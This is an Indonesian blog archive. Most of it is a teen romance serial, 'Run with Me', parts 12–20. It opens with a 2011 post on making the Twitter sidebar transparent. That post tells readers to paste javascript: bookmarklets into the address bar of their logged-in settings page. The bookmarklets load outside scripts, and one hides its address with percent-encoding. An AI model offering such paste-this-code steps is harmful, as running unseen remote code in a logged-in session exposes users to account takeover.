Monday, February 14, 2011

Cara Membuat Sidebar Twitter Transparan


Hoho, ini cara buat sidebar (bagian sebelah kanan di twitter, biasanya diisi list, following, followers, dll) menjadi transparan. Nah gimana caranya biar sidebar twitter transparan? Simple kok!Pertama: Login ke twitter dan buka menu setting, terus design. Ato bisa juga http://twitter.com/settings/design
Kedua: Copy kode dibawah ini yaa:

javascript:d=document;c=d.createElement('script');d.body.appendChild(c);c.src='http%3A%2F%2Fwww.justinparks.com%2Ftwitter%2Ftwitter-sidebar.js';void(0);
Ketiga: Buka http://www.twitter.com/settings/design tadi, terus http://www.twitter.com/settings/designya dihapus dan diganti sama kode diatas tadi.

terus di Enter aja deh.
Keempat: Liat apa ada message kaya ini ato enggak, untuk ngebuktiin berhasil apa kaga:


SELESAI! Lo bisa liat perubahannya di halaman Profile. Jangan lupa klik 'Save Changes'! Kalo ga di klik ga bakal jadi jadi ini sidebar transparan :P

Nah, kalo nanti lo pengen sidebar lo normal lagi, login ke halaman design lagi terus pilih "
Change Background Style" ke background lama lo ato yang baru terserah. Udah itu lo save deh. Jangan lupa follow gue juga buat tanya tanya :P

NEW Ada alternatif baru. Semoga bisa ya :)

javascript:d=document;c=d.createElement('script');d.body.appendChild(c);c.src='http://%77%65%62%64%69%63%61%73%2E%6F%72%67/scripts/%74%77%69%74%74%65%72%2E%74%72%61%6E%73%70%61%72%65%6E%74%65%32%32%32%2E%6A%73';void(0);

Tuesday, February 1, 2011

Run with Me - ( this is story ) PART 20



   isi pesannya sangat singkat tapi membuatku tak sanggup sampai mengeluarkan air mata...
'rain,aku menunggu lukas d rumah sakit. kecelakaan'. aku menangis. lukas adalah sahabat baikku. aku tak sanggup kalau sesuatu tak baik terjadi padanya. aku terdiam diri di bangku dekat kantin dan theo menghampiriku. aku memberitahu keadaan lukas pada theo. 


   theo akan mengantarku ke rumah sakit untuk menjenguk dan mengetahui keadaan lukas, berharap dia baik-baik saja. ingin rasanya bel pulang berbunyi dan aku gelisah saat pelajaran berlangsung. yuuup. bel yg aku nantikan berbunyi juga. aku terburu-buru pergi ke kelas theo agar theo tak ke kelasku. aku menunggu di gerbang dan theo pergi ke tempat parkir unruk mengambil mobilnya. kami sampai di rumah sakit dan bertanya pada suster penjaga tempat lukas dirawat. dapat. kami menuju tempatnya. 


   aku mengetuk pintu dan shaylon membukakannya. aku tak segera menghampiri dan mendekati lukas yg terbaring lemah karena dia sedang tidur. kami bertiga hanya duduk di sofa dan shaylon menceritakan apa yg terjadi pada lukas. 'sebelum berangkat sekolah tadi, lukas mau menjemputku tapi aku akan diantar oleh papa. ketika motornya ingin membelok ke rumahku, ada motor lain yg kecepatannya dua kali lebih cepat daripada lukas. aku melihat sendiri kejadiannya'. 'sabar shay, aku juga sangat berharap lukas cepat sembuh. dia juga pasti sangat menginginkan hal itu. lantas bagaimana dengan penabrak tak bertanggung jawab itu?', tanyaku sangat tidak sabar. 'sudah diurus oleh teman papa', kata shaylon dengan menghapus air matanya. everything's gonna be fine, great. 


   aku menelfon dad untuk memberi tahu kalau aku tidak langsung pulang ke rumah dan pastinya juga mengabari dad keadaan lukas. lukas terbangun dan kamipun segera menghampirinya. 'rain',panggilnya dengan nada lemas. 'ya, im here'. shaylon terlihat tersenyum melihat lukas yg sudah bangun. tak terasa sudah 4 jam kami berada disitu. aku kasihan pada shaylon, pasti dia sangat lelah dari tadi pagi menuggui lukas. aku menyuruhnya untuk pulang saja biar aku dan theo yg menjaganya sampai mama lukas datang. 


   mama lukas masih dalam perjalanan karena dia sedang berada di luar kota untuk menjenguk bibi lukas. satu jam lima menit akhirnya mama lukas datang dan menyuruh kami untuk pulang karena terlihat dari raut wajahku yg sudah kelelahan. kami pulang. di dalam mobil theo aku memperhatikan wajahnya. dia tak terlihat lelah dan kesal karena harus menunggu lama. aku sangat beruntung memilik theo. dia tidak protes saat aku lebih mementingkan sahabatku sendiri. dia tersenyum saat aku melihat wajah bersihnya itu. 


   dia selalu ada disaat aku butuh sekalipun untuk membuatku semangat. aku tak ingat berapa kali dia rela membuang waktunya untuk bersamaku. ahh, rasanya aku lebih beruntung daripada BELLA SWAN yg punya EDWARD CULLEN yg selalu meletakkan wanita nomer satu di hatinya. sebelum masuk rumah, seperti biasa theo selalu melayangkan kecupan manisnya di keningku. aku membuka pintu rumah dan dad sudah menunggu di depan tv. dad hanya berdehem dan senyum melihatku yg baru sampai rumah. 'anak muda sekarang',katanya sambil geleng-geleng. 


   aku hanya tersenyum dengan rasa malu masuk kamar. mengapa aku harus malu pada dad, kalau dad seperti itu pasti dia terlihat suka dan menyetujui hubunganku dengan theo. saat aku ingin merebahkan badan, ada pesan masuk dari nomer sama yg tak ku kenal. dan isi pesannya pun tetap sama 'Rain, I <3 U . -secret admirer- membuatku semakin kesal dengan pemilik nomer itu. calm dow Rain. that's just prankster .. 

Run with Me - ( this is story ) PART 19





   kali ini perasaanku sangat tidak enak. aku menghela napas terlebih dahulu sebelum melihat dad marah. BENAR !! dad sangat tidak menyukai aku mengikuti lomba itu. aku sudah tahu akan tanggapan dad jika mengetahui hal yg sangat tidak disukainya itu. aku siap menerima omelan dad. setelah ia rasa cukup. aku kembali ke kamar tanpa wajah lesu. aku melanjutkan tugas sejarahku. 'You're the voice I hear inside my head, the reason that I'm singing I need to find you I gotta find you',suara hp memanggilku untuk mengeceknya. 'MY PRINCE ---->incoming call' . 


  aku segera menganggkatnya. 'buka jendelamu dan tengok keluar taman'.aku kaget karena theo masih berada di oklahoma menemani neneknya yg sedang sakit. telefon dimatikan dan aku segera menuruti kalimatnya.aku  so handsome. dia melambaikan tangan kirinya padaku dan anehnya tangan kanannya disembunyikan di belakang. aku segera keluar rumah dan menemui theo di taman rumah. tapi tak kudapatkan. aku melihat sekeliling. aku membalikkan badan dan sekarang theo berada di depanku. 


   kami saling bertatapan. akau tak bisa menatapnya seperti itu karena aku tak bisa melihat matanya yang indah itu. aku segera menarik tangannya dan membawanya masuk rumah. kami hanya ngobrol di ruang tamu. dan dadpun menyambut baik kedatangan theo. mungkinkah dad akan menyetujui dan mengijinkanku berhunungan dengan theo. i hope so damn. dad menemui kami di ruang tamu dan mengajak theo juga ikut dalam acara makan malam yg telah disiapkan dad. dad sangat pintar memasak dan jangan khawatir aku juga tidak bisa. 


   aku sudah bisa memasak saat berumur 5 tahun karena mom telah mengajariku. setelah selesai makan, dad meninggalkan kami yg masih duduk manis di meja makan. itu berarti aku harus merapikan kembali meja makan dan pastinya juga mencuci piring. theo membantu membawa piring-piring itu ke tempat cuci. aku mencuci piring sambil ditemani theo yg mencipratkan air padaku. aku membalasnya dengan busa. senang rasanya. sudah jam 8.15 p.m . theo harus segera pulang. aku membukakan pintu untuknya dan dia mengecup keningku. 'good night my lil angel' . melaju dengan range rovernya dan hilang dari pandanganku. aku masuk kamar dan langsung merebahkan diri dan memeluk bantal ungu kesayanganku.tenggelam dalam mimpi bersama THEO CAVALCANTI. 'kriinggg..kriiiing..',lagi-lagi suara jam weker membangunkanku. 


   aku harus segera mandi takut telat datang ke sekolah. memang aku jarang sekali telat, tapi pagi ini aku harus benar-benar datang lebih awal karena ada pengayaan math lebih awal. aku memberitahu theo kalau tak usah menjemputku. dad mengantarku sampai depan gerbang sekolah. 'good luck dear', menyemangatiku agar bisa mendapat nilai bagus. 'thanks dadd', aku melambaikan tangan padanya, tersenyum dan berlari menuju kelas. dad memang segalanya untukku. isshh.. barnetta mnyeggolku sampai aku terjatuh di atas lumpur yg lumayan membuat seragamku kotor. 


   aku tak mempedulikannya karena aku hanya memikirkan pengayaan math. hanya membuang waktu meminta pertanggung jawaban pada barnetta karena itu hanya akan membuatnya tertawa. lupakan saja. aku masuk kelas dan anak-anak yg lain sudah berada di kelas. Mrs. Pamela datang sambil membawa setumpuk buku math yg baunya sudah bisa dibilang bau tanah. aku baru sadar kalau bubble tak berada di sampingku dan juga shaylon. mungkin mereka telat dan ingin mengikuti susulan. waktu istirahat tiba. aku tak kunjung melihat mereka berdua. my phone was vibrated and there's one message from shaylon. isi pesannya sangat singkat tapi membuatku tak sanggup sampai mengeluarkan air mata...

Run with Me - ( this is story ) PART 18





   Dad menyuruhku masuk kamar karena dia melihat raut wajahku yg kelelahan. Aku menurut saja. Shower aku hidupkan, dan kunikmati. Cukup segar rasanya. Berpakaian dan mengecek handphoneku. Ada sms dari lukas. Isinya, 'Rain,aku tertarik pada shaylon. Maukah kau membantuku?'. Aku pikir tak ada salahnya membantu, shaylon juga terlihat tertarik dengan lukas. Aku membalasnya dengan 'ok ok.. Aku bisa bantu'. Aku ingin sahabatku juga bahagia meskipun hanya sekedar cinta anak SMA. Pagi hari seperti biasa, theo menjemputku. Aku sepertinya akan menolaknya karena dad sudah kembali. But, dad permission me to go to school with theo. Thanks :) . 


   Aku berpamitan pada dad karena bibi lizz sudah kembali ke rumahnya tadi malam. Dad memang sengaja tidak memberitahuku. Aku masuk kelas, tapi tak melihat lukas hanya ada shaylon dan anak-anak lain. Aku menempati kursiku dan shaylon mengha,piriku dengan senyum. Kurasa dia memang gadis manis dan baik. Shaylon mengajakku ngobrol. Kalimat yg membuatlku terkejut sekaligus senang adalah saat dia mengatakan kalu dia tertarik dengan lukas. Tapi dia malu mengungkapkannya. Ini kabar baik dan sangat istimewa untuk lukas. Jam istirahat tiba, shaylon mengajakku ke perpus. Aku mengangguk saja karena aku juga ingin meminjam buku. 


  Shaylon aku tinggal di perpus karena aku ingin pergi ke toilet. Saat menuju toilet, aku melihat barnetta mmenggandeng tangan lukas. Kulihat barnetta dengan senyum liciknya dan lukas hanya menuruti keinginan barnetta. Mudah-mudahan mereka tak melihatku. Aku tak ingin menceritakan hal ini pada shaylon. Bel masuk berbunyi, kamipun pergi ke kelas. Di kelas aku melihat lukas melempar senyum pada shaylon begitu juga shaylon. Aku ingin lukas segera mengungkapkan isi hatinya pada shaylon karena aku takut barnetta semakin berbuat gila padanya. Atau jika barnetta mengetahui semua ini, dia pasti tidak akan tinggal diam atau melakukan sesuatu pada shaylon. 


  Tidak. Aku sudah menganggap shaylon teman baikku sekarang. Sepulang sekolah, aku menceritakan kejadian yg aku lihat dekat perpus pada theo saat dia singgah di rumahku. Theo juga panik. Theo menceritakan kalau dia sebenarnya tidak pacaran dengan barnetta, tetapi sikap barnetta yg seolah-olah membuat theo jadi pacarnya. Dan theo juga bilang kalau dia baru pertama kali pacaran dengan cinta pertamanya. Yaitu aku. Senang rasanya. Tapi aku tetap tidak tenang sebelum lukas mengunggkapkan isi hatinya pada shaylon. Malam harinya, lukas mengirimiku sms kalau dia sudah jadian dengan shaylon. Im so glad. Congrats lukas. Keesokan harinya, theo tak menjemputku karena dia sedang menemani neneknya yg sakit di oklahoma. Tak apalah, dad yg mengantarku meskipun lengan kirinya belum sembuh. 


   Aku sudah melarangnya, tapi dad bersikeras mengantarku. Di pintu gerbang, shaylon menungguku. Dia menceritakan tentang cintanya dengan lukas padaku, aku sangat senang. Sampai di kelas, lukas memberiku formulir pendaftaran karena satu minggu lagi pendaftaran mendesain bangunan ditutup. Aku tak peduli dengan formulir itu, sangat kecil sekali kemungkinan aku diijinkan. Sampai di rumah, aku masuk kelas dan meletakkan formulirnya begitu saja di meja belajar. Malam hari, kusiapkan makan malam untuk kami berdua. Setelah selesai aku kembali ke kamar untuk mengerjakan tugas. Kulihat formulir yg tadi di atas meja sudah tidak ada lagi. Aku takut dad sudah mengambilnya. Aku takut dad marah. 'Rain, Rain... !!',teriak ayah yg berada di depan tv dengan nada sedikit keras. Aku segera menghampirinya. Aku lihat wajah dad sangat tidak nyaman...

Run with Me - ( this is story ) PART 17





   Aku masuk kelas dan beruntungnya aku Mr.Arnold belum memasuki kelas. Ingin jam pelajaran selesai. Bukan karena takut pada Mr.Arnold,karena aku ingin segera meminta maaf pada lukas dan melihat senyumnya. Yess !! Pelajaran telah usai dan bel pulang telah bernyanyi. 


   Aku ingin meminta waktu pada lukas sebentar saja untuk meminta maaf. 'bble,aku minta maaf',dengan menatap kearahnya tapi dia sedang sibuk memasukkan buku ke dalam tasnya. 'bble,bisakah kau mendengar aku bicara sebentar saja',kataku memohon. Lukas langsung memelukku begitu saja. 'Aku tak akan marah padamu. Justru aku sedih, saat kau bersikap dingin terhadapku', kata-katanya tanpa menunjukkan dia marah tetapi malah membuatku semakin bersalah. Aku melihat shaylon di belakang lukas. Dia hanya tersenyum saat melihat kami berdua. Tak nampak wajah kecewa ataupun cemuru di wajah putihnya itu. Lukas melepaskan pelukannya, aku hanya tersenyum. Lukas mengenalkan shaylon padaku. 


   Dia menyalamiku dengan senyum dan sangat ramah. Lukas bercerita kalu dia teman baiknya dan aku pikir dia mereka pacaran. Theo melihat kami bertiga dan mengajak kami semua untuk jalan-jalan dengan range rovernya. Aku dan theo di , sedangkan shaylon dan lukas di belakang. Theo berhenti di sebuah mall dan aku teringat akan gadis mungil yg aku temui di taman beberapa hari lalu. Aku ingin memberikannya sesuatu meskipun itu tidah mahal tetapi bisa membuatnya tersenyum. Aku pergi sebentar ke toko boneka dan memilih teddy bear yg tidak besar. Ukurannyapun cukup untuk dipeluk anak berumur 5 tahun. Aku meminta untuk segera dibungkus dan membayarnya. 


   Aku mengatakan pada theo bahwa aku akan pergi ke rumah cindy dan turut mengajak lukas dan shaylon. Theo tanpa basa-basi mengabulkan permintaanku. Kami menuju alamat yg menunjukkan rumah cindy, si gadis mungil yg sangat hebat. Rumahnya tak cukup besar, tetapi sangat rapi dan bersih. Di halaman depan ada taman kecil yg bisa membuat udara segar. Aku mengetuk pintu beberapa kali. Segera saja ada yg membukanya. Tante emma membukakan pitu dan mempersilahkan kami masuk. Cindy yg terlihat memegang crayon berlari dan memelukku. 'apa kabar kau sayang? Kakak ada sesuatu untukmu',sambil memberikan boneka teddy bear yg aku beli tadi. Cindy terlihat senang dan berterima kasih padaku. 


   Cindy mengajak kami ke taman belakang. Udaranya sangat segar meskipun hari sudah sore. Tante emma bercerita kalu cindy punya kakak. Tapi dari tadi aku tak melighat orang lain lagi selain kami ber-enam. 'kakak belum pulang. Dia memang sering pergi keluar rumah dan baru pulang malam. Tapi dia sangat menyayangi kami',ujarnya dengan suara khas anak kecil. Tante emma menambahkan kalau kakak cindy mungkin seumuran denganku. Tak terasa jam sudah menunjukkan 4.15.pm . Kami segera pamit pulang takut orang rumah khawatir apalagi hari ini dad sudah pulang. 


   Theo mengantarkan shaylon, setelah itu lukas dan yg terakhir aku. Aku masuk ke rumah, terlihat bibi lizz dan dad telah menungguku di ruang tamu. Aku langsung memeluk dad untuk melepas kerinduanku walaupun terpaut waktu tiga hari. Tapi sepertinya ada yg terlihat aneh dengan dad. Tangan lengan kiri bagian atasnya dibungkus dengan perban. Aku tak tahu apa yg terjadi. Dad bilang hanya luka biasa saat kecelakaan dengan mobil lain. Aku rasa bukan...

Run with Me - ( this is story ) PART 16





   Aku mendorongnya perlahan dan menjauhkan wajahku dari hadapannya. Aku takut bibi lizz mencurigai kami karena mobil theo lumayan lama berhenti disitu. Aku membuka pintu mobil dan mengucapkan beberapa kata. 'Thanks for ehmm and everything else'. Aku berlari masuk ke dalam rumah. Tenyata bibi lizz menungguku di ruang tv. 'Bagaimana acaramu dengan theo? Menyenangkan bukan?',godanya yg terlihat tertawa saat melihatku memegang bibirku. Aku masuk ke dalam kamar dan mengganti short dress dengan baju tidur. So damn, his lips so cool. 


   Aku tak tahu bagaimana reaksi dad saat mengetahui anak gadis satu-satunya berciuman dengan seorang lelaki yg mungkin lebih tua satu tahun dariku. Aku tetap teringat tentang perlombaan di sekolahku dengan hadiah yg sangat aku impikan. Ingin sekali aku memenangkannya atau hanya ikut berpartisipasi. Sangat sedikit sekali peluangku bisa mengikuti perlombaan bergengsi itu berhubung dad sangat tidak suka aku mengikuti perlombaan yg bisa membuatnya naik pitam. Aku sudah cukup senang saat dad menyetujinya karena syarat perlombaan ad persetujuan orang tua. Memberikan kepuasan tersendiri untukku. Aku memeluk foto mom dan tertidur hingga jam berbentuk makhluk kuning yg berasal dari laut membangunkanku. 


   Aku menemui bibi lizz yg telah mnyiapkan susu coklat kesukaanku. Yummy. Aku tak perlu lagi mengayuh sepeda jelek yg tetap menjadi kesayanganku untuk sampai ke sekolah. Theo yg siap menjemput dan mengantarku pulang. Tak lupa aku menyalami bibi lizz. Woww, theo terlihat beda, kereen. Apa ini hanya untuk mendapatkan pujian dariku atau memang seperti biasanya. Sampai tempat parkir sekolah, theo menggandengku. Kali ini aku tak kuatir karena theo telah menggapku sebagai , ya pacarnya. Theo mengantarku ke kelas karena memang kelas kami berbeda. Aku di kelas A2 dan theo A7. Aku melihat shaylon dan lukas sedang asiik mengobrol tidak di kursiku. Karena mungkin mereka tahu kalau aku akan marah saat mengetahui ada yg menempati kursi kesayanganku. Mereka tak memperdulikanku seakan tak menganggap aku ada. Whatever. 


   Aku mengeluarkan buku agar bisa belajar terlebih dahulu sebelum pelajaran dimulai. Jam istirahat. Theo sudah menungguku di depan pintu kelas dan aku segera menemuinya. Dia mengajakku ke kantin dan aku langsung mengiyakannya. Di kantin, kami berbincang-bincang tentang apa saja di bangku yg sudah disediakan. 'bagaimana hubungan dengan sahabatmu itu?',pertanyaan theo yg secara tiba-tiba membuatku tersedak. Dia memberiku air minum. Aku tak segera menjawabnya. 'kau tak mengerti perasaanku. Dia telah beberapa kali membuatku menangis. 


   Bukankah sahabat selalu ada saat kita butuh? Bukankah sahabat itu take and give?', jawabku dengan nada sedikt naik dan tanpa terasa aku meneteskan air mata. 'hey, mungkin yg kau alami hanya sebagian kecil yg dialami lukas. Apa kau pernah mengerti perasaannya? Sahabat tak boleh ada ke-egois-an',kata-katanya yg mampu membuatku berada di pelukannya. Memang, aku tak pernah mengerti perasaannya. Aku sering mengabaikan nasihatnya. Aku sering tak mendengarkan kata-katanya. Aku sering meninggalkannya di perpus tanpa aku beritahu. Aku sering membuatnya kesal. Aku sering marah padanya tanpa sebab. Aku ingin ini semua lebih baik. Bel masuk membuatku segera masuk kelas secepatnya. Karena setelah ini ada pelajaran dari Mr. Arnold. Guru ter-killer di sekolahku. My best friend, everything is gonna be fine....

Run with Me - ( this is story ) PART 15





   aku segera menemui theo dan bibi lizz yg sedang mengobrol tentang sesuatu yg tak aku ketahui. he's so handsome now. ucapku dalam hati. theo segera pamit pada bibi lizz dan menggandeng tanganku. aku lihat bibi lizz hanya tersenyum dan dia menginjinkan theo untuk mengajakku. aku tahu bibi lizz mengerti perasaanku. aku hanya melempar senyum padanya. aku masuk ke dalam mobil theo. di perjalanan dia tak mengucapkan sepatah katapun hanya terlihat membentuk bibirnya yg manis untuk membuat sebuah senyuman. 


   aku tak tahu theo akan membawaku kemana. apakah ke resto mewah atau hanya berkeliling kota menikmati suasana malam hari. theo berhenti di sebuah danau dekata sebuah jembatan besar. theo membukakan pintu mobilnya dan mempersilahkan aku untuk turun. aku berharap malam ini menjadi spesial meskipun theo hanya mengajakku kesini. theo tetap menggandeng tanganku dan kami duduk di sebuah bangku yg memang sudah berada disitu. aku lihat ada lima buah lilin yg dinyalakan . meskipun begitu, lilin terkesan tak mennampakkan sesuatu yg lebih terang daripada lampu neon yg berada di jembatan yg sanggup menyinari malam kami. bahkan lebih baik jika lilin itu tidak dinyalakan. theo meraih tanganku untuk membantuku berdiri setelah beberapa percakapan.theo mengungkapkan satu kalimat yg mebuatku tak tahu harus menjawab apa. tapi akumengerti apa yg dimaksudkannya. 


   'aku suka kamu bahkan sampai saat ini bisa kubilang menyayangimu. apakah kau juga begitu padaku?',pertanyaan yg dalam mampu kujawab sesingkat mungkin. 'iya',jawabku. 'apakah kau mau menemani hidupku?',pertanyaan yg membuatku sedikit terhentak dan ingin segera menjawabnya. aku berpikir sejenak. mengartikan maksud menemani hidupnya. mungkin dia ingin aku menjadi kekasihnya sampai kapanpun. tapi itu terlalu jauh mengingat umurku saat ini masih berusia 15 tahun. kalau tuhan sudah berkata begitu, mau dikata apa lagi. aku menjawabnya dengan sebuah senyuman yg membuatnya juga melempar senyum padaku. 'ya,why not :)', jawabku. 


   theo memelukku dan mencium keningku. god, thanks for this gift for me. aku yakin theo tidak akan menyakitiku ataupun membuatku kecewa meski dia haya manusia biasa yg juga bisa berbuat salah. lilin-linin membentuk kata R <3 T membuatku terkagum-kagum di atas danau. mengkin dia memangmempersiapkan ini untukku. aku tak tahu siapa yang membantunya. tapi yg jelas perasaanku saat ini melebihi batas senang. rasanya aku ingin sekali memceritakan hal ini pada mom, aku yakin mom telah mengetahuinya. aku tak ingin theo melepaskan pelukan theo. begitu hangat dan aku merasa sangat nyaman berada di dekatnya. aku rasa malam ini malam yg berarti untukku.first love with theo. aku tak peduli meskipun theo telah beberapa kali menjalin hubungan dengan gadis lain. 


   aku hanya berusaha dan berdoa agar bisa lebih lama dengan theo. ya, sampai maut mendatangiku. tak terasa telah satu jam setengah kami berasa disitu. aku mengakjak theo pulang takut bibi lizz khawaatir padaku. di dalam mobil, theo tetap memegang tanganku tapi aku menyuruhnya agar lebih berkonsentrasi menyetir. kami sampai depan gerbang rumah. sebelum aku membuka pintu, tangannya seakan ingin mencegahku masuk ke dalam rumah. wajahnya mendekat dan perlahan-lahan bibirnya mendarat di bibirku. aku tak bisa berbuat apa-apa. yg kurasakan hanyalah kecupan yg membuatku mungkin tak akan melupakannya....

Run with Me - ( this is story ) PART 14





   theo mengemudikann mobilnya dengan santai dan diselingi senyum yg terlintas di wajahnya. aku memperhatikannya. 'kenapa kamu?. aneh. senyum-senyum sendiri',tanyaku agak melirik padanya. 'nothing. aku hanya senang melihatmu'. entahlah. tak terasa kami sudah memasuki tempat parkir. aku turun, theo menggandengku. aku gugup dan senang saat tangannya meraih tanganku. orang2 yg berada di sekitarku memperhatikan kami. aku menanggapinya biasa saja karena theo maupun aku bukan seleb yg selalu dikejar paparazzi. theo mengantarku ke kelas tanpa melepas tangannya yg melekat erat di tanganku. bel berbunyi, menandakan theo harus meninggalkanku sendiri tanpa bubble yg sampai saat ini aku sangat tidak ingin melihat wajahnya. 


   aku mengikuti pelajaran seperti biasa. Mrs.Paula masuk ke dalam kelas dengan menggandeng seorang gadis yg mungkin murid pindahan. gadis itu melangkah dengan gaya yg sedikit pemalu dan berdiri tepat di depanku karena bangkuku memang berada paling depan. dia memperkenalkan diri dan menyebut namanya 'shaylon'.. setelah aku melihat wajahnya, aku baru sadar shaylon adalah gadis yg tadi malam mengacaukan acaraku dengan bubble. aku semakin ingin membenci lukas saat shaylon melempar senyum pada lukas. abaikan saja, sekarang aku sudah punya theo. apa??? . belum memiliki theo sepenuh hati. 


   aku tak ingin mengeluarkan sepatah katapun pada lukas karena menurutku hari ini berbicara padanya sama saja dengan membuang energi. aku ingin cepat-cepat waktu istirahat dan sangat berharap jam pelajaran usai. tak ingin lama-lama berada di samping lukas dan ingin bertemu theo. aku tak tahu kenapa aku sangat nyaman berada di samping theo. maybe, im in love with him. hal yg sangat aku harapkan telah tiba,waktunya pulang. theo menungguku di lapangan basket dan tentu saja dia menggandengku sampai tempat parkir. kali ini theo tak mengajakku jalan-jalan sepulang sekolah. theo bilang dia akan menjemputku jam 7.pm. 


   kami sampai di halaman rumah. theo segera pamit pulang. aku masuk ke dalam rumah, menuju kamar dan rebahan. betapa senangnya hari ini aku bersama theo walaupun hanya sekedar menjemputku dan mengantarkanku pulang. aku mengganti pakaiann dan menemui bibi lizz yg sedang terlihat menerima telepon. kata bibi lizz dad akan pulang besok. aku sangat senang. kami mengobrol di ruang keluarga sambil aku menceritakan sekolahku padanya. 'rupanya kau sangat senang hari ini. apa theo yg membuatmu seperti ini. syukurlah', kalimat bibi lizz tiba-tiba. wajahku memerah karena aku tak bisa menyembunyikan rasa malu. aku hanya senyum dan berkata 'iya'. bibi lizz hanya senyum2 melihat tingkahku yg bisa dibilang jatuh cinta. yahh.. ini pertama kalinya aku merasakan perasaan yg berbeda yg sedang aku alami. 


   aku masuk kamar dan mengingat-ingat senyum termanis theo yg pernah aku lihat. aku tertidur. jam 6.pm aku bangun dan teringat kalau theo akan menjemputku untuk kencan atau hanya ajakan biasa. entahlah.aku memilih-milih baju yg akan aku gunakan. apakah ini cocok untuk acara malam ini. atau mungkin ini hanya biasa saja. akhirnya aku memilih short dress warna ungu favoritku. aku hanya menambahkan belt pada dress ini. pintu depan sepertinya ada yg mengetouk. bibi lizz yg membukakannya. kurasa itu theo. dan langsung saja bibi lizz memanggilku karena telah ada yg menungguku untuk mengajakku keluar.

Run with Me - ( this is story ) PART 13





   Aku berjalan sendirian tanpa melihat kearah depan hanya menunduk. Aku tidak menyangka lukas melakukan ini padaku. Mungkin tadi dia menemui gadis itu saat aku menunggunya sangat lama. Aku tak sadar sebuah range rover melintas di sampingku dan berhenti. Aku tak peduli siapapun itu. Aku menangis. Aku bodoh. Aku tak tahu harus bagaimana lagi. Aku benci persahabatan kalau lukas tetap seperti itu padaku seolah dia hanya menganggapku teman biasa yg tak akan merasa sakit hati jika diperlakukan seperti itu. Si pemilik mobil yg mirip punya batman itu turun dan menghampiriku. 


   Aku yakin itu theo. Seperti dugaanku, ternyata dia memang benar2 theo. Aku langsung saja memeluknya dan menangis di pundaknya tanpa melepaskan pelukanku. Kurasa kali ini theo mampu membuatku lebih baik. Theo membantuku masuk ke mobilnya. Dia mengusap air mataku, memegang pipiku dan berusaha membuatku tersenyum dan ceria lagi. Aku berusaha tersenyum meskipun air mata tak sanggup lagi kubendung. Theo mengantarku pulang. Sampai rumah, aku langsung membanting pintu kamar dan menyembunyikan wajahku di bawah bantal. Bibi lizz kelihatan bingung. 


   Aku tahu dia berada di depan pintu kamarku untuk mengetahui apa yg sebenarnya terjadi padaku. Tapi bibi lizz tak mengetuk pintu dan membuka pegangan pintu. Aku tahu dia tak ingin menggangguku sampai aku benar2 merasa lebih baik. Ya,memang lebih baik seperti itu. Saat2 seperti ini, aku rindu mom. Mom yg selalu menghibur dan bisa membantuku menyelesaikan masalahku. Aku rindu tidur di pangkuan mom. Aku rindu belaian lembut tangannya. Aku rindu pelukan hangatnya. Aku rindu senyum yg bisa menjadi obat dikala aku sedih. Aku rindu semua tentang mom. 


  Aku menangis sampai seprai terasa basah di pipiku. My phone was vibrated. I got it and there's one message from theo. 'Rain,don't be sad. I'll be inside here for you. No more tears again'. Aku membalasnya, 'Thanks Theo :) '. Aku duduk terdiam dan berusaha untuk tak mengingat kejadian itu lagi. Theo mengirimiku pesan yg membuatku tertawa geli. Aku tertidur. Aku terbagun saat jam weker berbentuk spongebob berbunyi. Aku segera mandi, memakai seragam dan menemui bibi lizz yg berada di mmeja makan menyiapkan sandwich untuk sarapan kami berdua. 


   Bibi lizz hanya tersenyum keheranan melihatku ceria lagi. Dia tak ingin menanyakan kejadian tadi malam yg bisa membuatku sedih lagi. Kuseruput segelas susu coklat sampai habis. Terdengar suara mobil theo dari luar rumah. Bibi lizz mengantarku sampai depan menemui theo yg menjemputku. Aku pamit,tak lupa ku kecup tangannya dan melambaikan tangan pada bibi lizz. 'Siap berangkat sekolah cantik?',tanyanya dengan senyum termanisnya. 'Siap boss'. Kaipun berangkat menuju sekolah...

Run with Me - ( this is story ) PART 12





   'kau baru pulang sayang?',tanya seseorang perempuan dari dalam rumah yg tak lain dia adalah bibi lizz. bibi lizz akan tinggal disini sampai dad pulang.aku berlari memeluknya, tapi tak sehangat pelukan mom. aku menceritakan tentang kontes kontes mendesain suatu tempat se-kreatif mungkin dan pastinya tentang hadiah yg akan diberikan. dia mendukungku, tapi dia juga tahu kalau dad pasti tidak akan suka aku mengikuti kontes tersebut. bibi lizz menyuruhku mandi. aku segera masuk ke kamar, mandi, berpakaian santai seperti biasa. aku mengecek handphoneku. there's new messages from unknown number that the same with last morning. but, now there're 10 new messages. and with the same clause 'rainy,, I <3 U .... -secret admirer-'. just ignore. aku membuka tas, dan menemukan sebuah kartu alamat. dan agak lama aku mengingatnya dan akhirnya aku tahu kalau alamat itu yg diberikan seorang wanita seumuran mom dengan seorang anak kecil bernama cindy yg mengajakku untuk mengunjungi rumahnya. 


   aku lupa, aku berjanji akan segera mendatangi alamat itu. tak lama, bibi lizz mengetok pintu kamarku dan menyuruhku keluar karena lukas sudah menunggu di ruang tamu.tanpa harus memohon-mohon,bibi lizz langsung mengijinkan kami untuk pergi. kali ini bubble tak membawa mobulnya, melainkan motor ninja super gedenya itu. hal yg bisa membuatku kesal saat dia membawa motornya dan berhenti mendadak agar aku tanpa sengaja memeluknya. hmm,,dasar. bubble membawaku ke sebuah taman. banyak pasangan muda-mudi yg bergandengan tangan sambil menikmati malam di bawah bintang-bintang dan rembulan. maklum, satnight. 


  bubble menarik tanganku dan segera membawaku ke sebuah bangku di bawah sebuah pohon. lukas meninggalkanku dan hanya menyuruhku duduk dan menunggu disitu. aku turuti saja, memang begitu kalu mengajakku pergi. sekitar 15 menit aku menunggunya, bubble tak juga menunjukkan batang hidungnya. aku sudah mulai gelisah menunggunya. aku takut terjadi apa-apa padanya atau mungkin dia hanya mengerjaiku saja. saat aku ingin melangkahkan kaki, lukas baru muncul. entah kenapa wajahnya begitu pucat . mungkin karena baru saja melihat hantu atau hanya kecapaian. 


